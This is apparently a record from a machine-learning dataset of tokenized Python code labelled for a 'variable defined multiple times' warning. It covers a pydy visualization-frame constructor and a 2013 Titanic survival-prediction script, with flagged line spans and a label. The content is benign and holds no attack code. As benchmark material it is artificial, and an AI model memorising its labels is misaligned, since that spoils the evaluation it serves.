"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"To",
" ",
"initialize",
" ",
"a",
" ",
"visualization",
" ",
"frame",
" ",
"a",
" ",
"Reference",
"Frame",
",",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Point",
",",
" ",
"and",
" ",
"Shape",
" ",
"are",
" ",
"require",
"d",
".",
" ",
"The",
"se",
" ",
"Reference",
"Frame",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"and",
" ",
"Point",
" ",
"can",
" ",
"be",
" ",
"pass",
"ed",
" ",
"provided",
" ",
"in",
" ",
"three",
" ",
"way",
"s",
":",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"1",
")",
" ",
"Rig",
"id",
"Bod",
"y",
":",
" ",
"the",
" ",
"Rig",
"id",
"Bod",
"y",
"'",
"s",
" ",
"frame",
" ",
"and",
" ",
"mass",
" ",
"center",
" ",
"are",
" ",
"used",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"2",
")",
" ",
"Reference",
"Frame",
" ",
"and",
" ",
"a",
" ",
"Parti",
"cle",
":",
" ",
"The",
" ",
"Parti",
"cle",
"'",
"s",
" ",
"Point",
" ",
"is",
" ",
"used",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"3",
")",
" ",
"Reference",
"Frame",
" ",
"and",
" ",
"a",
" ",
"Point",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Parameter",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"=========",
"=",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"name",
" ",
":",
" ",
"str",
",",
" ",
"option",
"al",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Name",
" ",
"assign",
"ed",
" ",
"to",
" ",
"Visualiza",
"tion",
"Frame",
",",
" ",
"default",
" ",
"is",
" ",
"unn",
"ame",
"d",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"reference",
"\\u",
"frame",
" ",
":",
" ",
"Reference",
"Frame",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"A",
" ",
"reference",
"\\u",
"frame",
" ",
"with",
" ",
"respec",
"t",
" ",
"to",
" ",
"whi",
"ch",
" ",
"all",
" ",
"orientation",
"s",
" ",
"of",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"shape",
" ",
"take",
"s",
" ",
"place",
",",
" ",
"dur",
"ing",
" ",
"visualization",
"s",
"/",
"animati",
"ons",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"orig",
"in",
" ",
":",
" ",
"Point",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"A",
" ",
"point",
" ",
"with",
" ",
"respec",
"t",
" ",
"to",
" ",
"whi",
"ch",
" ",
"all",
" ",
"the",
" ",
"translatio",
"ns",
" ",
"of",
" ",
"the",
" ",
"shape",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"take",
"s",
" ",
"place",
",",
" ",
"dur",
"ing",
" ",
"visualization",
"s",
"/",
"animati",
"ons",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"rigid",
"body",
" ",
":",
" ",
"Rig",
"id",
"Bod",
"y",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"A",
" ",
"rigid",
"body",
" ",
"who",
"se",
" ",
"reference",
" ",
"frame",
" ",
"and",
" ",
"mass",
" ",
"center",
" ",
"are",
" ",
"to",
" ",
"be",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"assign",
"ed",
" ",
"as",
" ",
"reference",
"\\u",
"frame",
" ",
"and",
" ",
"orig",
"in",
" ",
"of",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Visualiza",
"tion",
"Frame",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"partic",
"le",
" ",
":",
" ",
"Parti",
"cle",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"A",
" ",
"partic",
"le",
" ",
"who",
"se",
" ",
"point",
" ",
"is",
" ",
"assign",
"ed",
" ",
"as",
" ",
"orig",
"in",
" ",
"of",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Visualiza",
"tion",
"Frame",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"shape",
" ",
":",
" ",
"Shape",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"A",
" ",
"shape",
" ",
"to",
" ",
"be",
" ",
"attache",
"d",
" ",
"to",
" ",
"the",
" ",
"Visualiza",
"tion",
"Frame",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Exam",
"ples",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"=======",
"=",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"from",
" ",
"pyd",
"y",
".",
"viz",
" ",
"import",
" ",
"Visualiza",
"tion",
"Frame",
",",
" ",
"Sphere",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"from",
" ",
"symp",
"y",
".",
"physi",
"cs",
".",
"mechani",
"cs",
" ",
"import",
" ",
"\\\\",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
"Reference",
"Frame",
",",
" ",
"Point",
",",
" ",
"Rig",
"id",
"Bod",
"y",
",",
" ",
"\\\\",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
" ",
"Parti",
"cle",
",",
" ",
"inertia",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"from",
" ",
"symp",
"y",
" ",
"import",
" ",
"symbols",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"I",
" ",
"=",
" ",
"Reference",
"Frame",
"('",
"I",
"')",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"O",
" ",
"=",
" ",
"Point",
"('",
"O",
"')",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"shape",
" ",
"=",
" ",
"Sphere",
"(",
"5",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"#",
"initiali",
"zin",
"g",
" ",
"with",
" ",
"reference",
" ",
"frame",
",",
" ",
"point",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"frame",
"1",
" ",
"=",
" ",
"Visualiza",
"tion",
"Frame",
"('",
"frame",
"1",
"',",
" ",
"I",
",",
" ",
"O",
",",
" ",
"shape",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"Ix",
"x",
",",
" ",
"Iy",
"y",
",",
" ",
"Iz",
"z",
",",
" ",
"mass",
" ",
"=",
" ",
"symbols",
"('",
"Ix",
"x",
" ",
"Iy",
"y",
" ",
"Iz",
"z",
" ",
"mass",
"')",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"i",
" ",
"=",
" ",
"inertia",
"(",
"I",
",",
" ",
"Ix",
"x",
",",
" ",
"Iy",
"y",
",",
" ",
"Iz",
"z",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"rbo",
"dy",
" ",
"=",
" ",
"Rig",
"id",
"Bod",
"y",
"('",
"rbo",
"dy",
"',",
" ",
"O",
",",
" ",
"I",
",",
" ",
"mass",
",",
" ",
"(",
"inertia",
",",
" ",
"O",
"))\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"#",
" ",
"Initializ",
"ing",
" ",
"with",
" ",
"a",
" ",
"rigid",
"body",
" ",
"..",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"frame",
"2",
" ",
"=",
" ",
"Visualiza",
"tion",
"Frame",
"('",
"frame",
"2",
"',",
" ",
"rbo",
"dy",
",",
" ",
"shape",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"Pa",
" ",
"=",
" ",
"Parti",
"cle",
"('",
"Pa",
"',",
" ",
"O",
",",
" ",
"mass",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"#",
"initiali",
"zin",
"g",
" ",
"with",
" ",
"Parti",
"cle",
",",
" ",
"reference",
"\\u",
"frame",
" ",
"...",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">>>",
" ",
"frame",
"3",
" ",
"=",
" ",
"Visualiza",
"tion",
"Frame",
"('",
"frame",
"3",
"',",
" ",
"I",
",",
" ",
"Pa",
",",
" ",
"shape",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"Las",
"t",
" ",
"arg",
" ",
"shou",
"ld",
" ",
"be",
" ",
"a",
" ",
"Shape",
" ",
"..",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"isinstance_",
"(_",
"args_",
"[_",
"-_",
"1_",
"]_",
",_",
"Shape_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"\\u",
"shape_",
"=_",
"args_",
"[_",
"-_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Type",
"Error_",
"(_",
"\"",
"Ple",
"ase",
" ",
"provide",
" ",
"a",
" ",
"valid",
" ",
"shape",
" ",
"object",
" ",
"as",
" ",
"the",
" ",
"last",
" ",
"\"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
" ",
"positional",
" ",
"argu",
"ment",
".\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"i_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"If",
" ",
"first",
" ",
"arg",
" ",
"is",
" ",
"not",
" ",
"str",
",",
" ",
"name",
" ",
"the",
" ",
"visualization",
" ",
"frame",
" ",
"'",
"unn",
"ame",
"d",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"isinstance_",
"(_",
"args_",
"[_",
"i_",
"]_",
",_",
"str_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"name_",
"=_",
"args_",
"[_",
"i_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"i_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"name_",
"=_",
"'",
"unn",
"ame",
"d",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"reference",
"\\u",
"frame_",
"=_",
"args_",
"[_",
"i_",
"]_",
"._",
"get",
"\\u",
"frame_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"origin_",
"=_",
"args_",
"[_",
"i_",
"]_",
"._",
"mass",
"center_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Attribute",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"It",
" ",
"is",
" ",
"not",
" ",
"a",
" ",
"rigid",
"body",
",",
" ",
"hen",
"ce",
" ",
"this",
" ",
"arg",
" ",
"shou",
"ld",
" ",
"be",
" ",
"a_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"reference",
" ",
"frame_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"dcm",
"_",
"=_",
"args_",
"[_",
"i_",
"]_",
"._",
"\\u",
"dcm",
"\\u",
"dict_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"reference",
"\\u",
"frame_",
"=_",
"args_",
"[_",
"i_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"i_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Attribute",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Type",
"Error_",
"(_",
"'''",
" ",
"A",
" ",
"Reference",
"Frame",
" ",
"is",
" ",
"to",
" ",
"be",
" ",
"supplie",
"d",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
"bef",
"ore",
" ",
"a",
" ",
"Parti",
"cle",
"/",
"Point",
".",
" ",
"'''_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"No",
"w",
" ",
"next",
" ",
"arg",
" ",
"can",
" ",
"eit",
"her",
" ",
"be",
" ",
"a",
" ",
"Parti",
"cle",
" ",
"or",
" ",
"point_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"origin_",
"=_",
"args_",
"[_",
"i_",
"]_",
"._",
"point_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Attribute",
"Error_",
":_",
"\\u\\u\\uN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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Variable defined multiple times | zigahertz/2013-Sep-HR-ML-sprint/py/titanic.py | [
{
"content": "import os\nimport csv as csv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\npath = os.getcwd()\n\ncsv_file_object = csv.reader(open(path + '/train.csv', 'rb'))\n\nheader = csv_file_object.next()\n\ndata = []\nfor row in csv_file_object:\n data.append(row)\ndata = np.array(data)\n\nnumber_passengers = np.size(data[0::, 0].astype(np.float))\nnumber_survived = np.sum(data[0::, 0].astype(np.float))\nprop_surv = number_survived / number_passengers # proportion of survivors\n\nprint '# passengers: ' + str(number_passengers)\nprint '# survived: ' + str(number_survived)\n\nprint '# % survive: ' + str(prop_surv)\nprint\n\nwomen_only_stats = data[0::, 3] == 'female'\nmen_only_stats = data[0::, 3] != 'female'\nwomen_onboard = data[women_only_stats, 0].astype(np.float)\nmen_onboard = data[men_only_stats, 0].astype(np.float)\n\nprint 'wos: ' + str(len(women_only_stats))\n\nproportion_women_survived = np.sum(women_onboard) / np.size(women_onboard)\nproportion_men_survived = np.sum(men_onboard) / np.size(men_onboard)\n\nprint 'proportion women survived: %s' % proportion_women_survived\nprint 'proportion men survived: %s' % proportion_men_survived\n\ntest_file_object = csv.reader(open(path + '/test.csv', 'rb'))\nheader = test_file_object.next()\nopen_file_object = csv.writer(open(path + '/genderbasedmodelpy.csv', 'wb'))\n\nfor row in test_file_object:\n if row[2] == 'female':\n row.insert(0, '1')\n open_file_object.writerow(row)\n else:\n row.insert(0, '0')\n open_file_object.writerow(row)\n\n### Multivariate Prediction ###\n\nfare_ceiling = 40\ndata[data[0::,8].astype(np.float) >= fare_ceiling, 8] = fare_ceiling - 1.0\nfare_bracket_size = 10\nnum_price_brackets = fare_ceiling / fare_bracket_size\nnum_classes = 3\n\nsurvival_table = np.zeros((2, num_classes, num_price_brackets))\n\nfor i in xrange(num_classes):\n for j in xrange(num_price_brackets):\n\n women_only_stats = data[(data[0::, 3] == 'female') & \\\n (data[0::, 1].astype(np.float) == i+1) & \\\n (data[0:, 8].astype(np.float) >= j * fare_bracket_size) & \\\n (data[0:, 8].astype(np.float) < (j+1) * fare_bracket_size), 0]\n\n men_only_stats = data[(data[0::, 3] != 'female') & \\\n (data[0::, 1].astype(np.float) == i+1) & \\\n (data[0:, 8].astype(np.float) >= j * fare_bracket_size) & \\\n (data[0:, 8].astype(np.float) < (j+1) * fare_bracket_size), 0]\n\n survival_table[0, i, j] = np.mean(women_only_stats.astype(np.float))\n survival_table[1, i, j] = np.mean(men_only_stats.astype(np.float))\n\nsurvival_table[survival_table != survival_table] = 0\nsurvival_table[survival_table < 0.5] = 0\nsurvival_table[survival_table >= 0.5] = 1\n\nprint survival_table\n\ntest_file_object = csv.reader(open(path + '/test.csv', 'rb'))\nnew_open_file_object = csv.writer(open(path + '/genderclasspricebasedmodelpy.csv', 'wb'))\nheader = test_file_object.next()\n\nfor row in test_file_object:\n for j in xrange(num_price_brackets):\n try:\n row[7] = float(row(7))\n except:\n bin_fare = 3 - float(row[0])\n break\n if row[7] > fare_ceiling:\n bin_fare = num_price_brackets - 1\n break\n if row[7] >= j*fare_bracket_size and row[7] < (j+1)*fare_bracket_size:\n bin_fare = j\n break\n\n if row[2] == 'female':\n row.insert(0, int(survival_table[0, float(row[0])-1, bin_fare]))\n new_open_file_object.writerow(row)\n else:\n row.insert(0, int(survival_table[1, float(row[0])-1, bin_fare]))\n new_open_file_object.writerow(row)\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "header ",
"start_line": 9,
"start_column": 0,
"end_line": 9,
"end_column": 6
},
{
"span": "header ",
"start_line": 40,
"start_column": 0,
"end_line": 40,
"end_column": 6
}
]
| [
{
"span": "header ",
"start_line": 85,
"start_column": 0,
"end_line": 85,
"end_column": 6
}
]
| 1 | true | [
"[CLS]_",
"Variable_",
"defined_",
"multiple_",
"times_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"csv_",
"as_",
"csv_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"numpy_",
"as_",
"np_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"matplotlib_",
"._",
"pyplot_",
"as_",
"plt_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"path_",
"=_",
"os_",
"._",
"getcwd_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"csv",
"\\u",
"file",
"\\u",
"object_",
"=_",
"csv_",
"._",
"reader_",
"(_",
"open_",
"(_",
"path_",
"+_",
"'/",
"train",
".",
"csv",
"'_",
",_",
"'",
"rb",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"header_",
"=_",
"csv",
"\\u",
"file",
"\\u",
"object_",
"._",
"next_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"row_",
"in_",
"csv",
"\\u",
"file",
"\\u",
"object_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"data_",
"._",
"append_",
"(_",
"row_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"data_",
"=_",
"np_",
"._",
"array_",
"(_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"number",
"\\u",
"passen",
"gers",
"_",
"=_",
"np_",
"._",
"size_",
"(_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"0_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"number",
"\\u",
"surviv",
"ed_",
"=_",
"np_",
"._",
"sum_",
"(_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"0_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"prop",
"\\u",
"sur",
"v_",
"=_",
"number",
"\\u",
"surviv",
"ed_",
"/_",
"number",
"\\u",
"passen",
"gers",
"_",
"#",
" ",
"proportion",
" ",
"of",
" ",
"surviv",
"ors_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"'#",
" ",
"passen",
"gers",
":",
" ",
"'_",
"+_",
"str_",
"(_",
"number",
"\\u",
"passen",
"gers",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"'#",
" ",
"surviv",
"ed",
":",
" ",
"'_",
"+_",
"str_",
"(_",
"number",
"\\u",
"surviv",
"ed_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"'#",
" ",
"%",
" ",
"surviv",
"e",
":",
" ",
"'_",
"+_",
"str_",
"(_",
"prop",
"\\u",
"sur",
"v_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"wo",
"men",
"\\u",
"only",
"\\u",
"stats_",
"=_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"3_",
"]_",
"==_",
"'",
"female",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"men",
"\\u",
"only",
"\\u",
"stats_",
"=_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"3_",
"]_",
"!=_",
"'",
"female",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"wo",
"men",
"\\u",
"onbo",
"ard_",
"=_",
"data_",
"[_",
"wo",
"men",
"\\u",
"only",
"\\u",
"stats_",
",_",
"0_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"men",
"\\u",
"onbo",
"ard_",
"=_",
"data_",
"[_",
"men",
"\\u",
"only",
"\\u",
"stats_",
",_",
"0_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"'",
"wo",
"s",
":",
" ",
"'_",
"+_",
"str_",
"(_",
"len_",
"(_",
"wo",
"men",
"\\u",
"only",
"\\u",
"stats_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"proportion",
"\\u",
"wo",
"men",
"\\u",
"surviv",
"ed_",
"=_",
"np_",
"._",
"sum_",
"(_",
"wo",
"men",
"\\u",
"onbo",
"ard_",
")_",
"/_",
"np_",
"._",
"size_",
"(_",
"wo",
"men",
"\\u",
"onbo",
"ard_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proportion",
"\\u",
"men",
"\\u",
"surviv",
"ed_",
"=_",
"np_",
"._",
"sum_",
"(_",
"men",
"\\u",
"onbo",
"ard_",
")_",
"/_",
"np_",
"._",
"size_",
"(_",
"men",
"\\u",
"onbo",
"ard_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"'",
"proportion",
" ",
"wo",
"men",
" ",
"surviv",
"ed",
":",
" ",
"%",
"s",
"'_",
"%_",
"proportion",
"\\u",
"wo",
"men",
"\\u",
"surviv",
"ed_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"'",
"proportion",
" ",
"men",
" ",
"surviv",
"ed",
":",
" ",
"%",
"s",
"'_",
"%_",
"proportion",
"\\u",
"men",
"\\u",
"surviv",
"ed_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"test\\u",
"file",
"\\u",
"object_",
"=_",
"csv_",
"._",
"reader_",
"(_",
"open_",
"(_",
"path_",
"+_",
"'/",
"test",
".",
"csv",
"'_",
",_",
"'",
"rb",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"header_",
"=_",
"test\\u",
"file",
"\\u",
"object_",
"._",
"next_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"open",
"\\u",
"file",
"\\u",
"object_",
"=_",
"csv_",
"._",
"writer_",
"(_",
"open_",
"(_",
"path_",
"+_",
"'/",
"gender",
"based",
"model",
"py",
".",
"csv",
"'_",
",_",
"'",
"wb",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"row_",
"in_",
"test\\u",
"file",
"\\u",
"object_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"row_",
"[_",
"2_",
"]_",
"==_",
"'",
"female",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"row_",
"._",
"insert_",
"(_",
"0_",
",_",
"'",
"1",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"open",
"\\u",
"file",
"\\u",
"object_",
"._",
"writerow_",
"(_",
"row_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"row_",
"._",
"insert_",
"(_",
"0_",
",_",
"'",
"0",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"open",
"\\u",
"file",
"\\u",
"object_",
"._",
"writerow_",
"(_",
"row_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###",
" ",
"Multi",
"varia",
"te",
" ",
"Prediction",
" ",
"###",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"fare",
"\\u",
"ceil",
"ing_",
"=_",
"40_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data_",
"[_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"8_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
">=_",
"fare",
"\\u",
"ceil",
"ing_",
",_",
"8_",
"]_",
"=_",
"fare",
"\\u",
"ceil",
"ing_",
"-_",
"1.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"fare",
"\\u",
"bracket",
"\\u",
"size_",
"=_",
"10_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"num",
"\\u",
"price",
"\\u",
"brackets",
"_",
"=_",
"fare",
"\\u",
"ceil",
"ing_",
"/_",
"fare",
"\\u",
"bracket",
"\\u",
"size_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"num",
"\\u",
"classes_",
"=_",
"3_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"surviv",
"al",
"\\u",
"table_",
"=_",
"np_",
"._",
"zeros_",
"(_",
"(_",
"2_",
",_",
"num",
"\\u",
"classes_",
",_",
"num",
"\\u",
"price",
"\\u",
"brackets",
"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"i_",
"in_",
"xrange_",
"(_",
"num",
"\\u",
"classes_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"j_",
"in_",
"xrange_",
"(_",
"num",
"\\u",
"price",
"\\u",
"brackets",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"wo",
"men",
"\\u",
"only",
"\\u",
"stats_",
"=_",
"data_",
"[_",
"(_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"3_",
"]_",
"==_",
"'",
"female",
"'_",
")_",
"&_",
"(_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"1_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
"==_",
"i_",
"+_",
"1_",
")_",
"&_",
"(_",
"data_",
"[_",
"0_",
":_",
",_",
"8_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
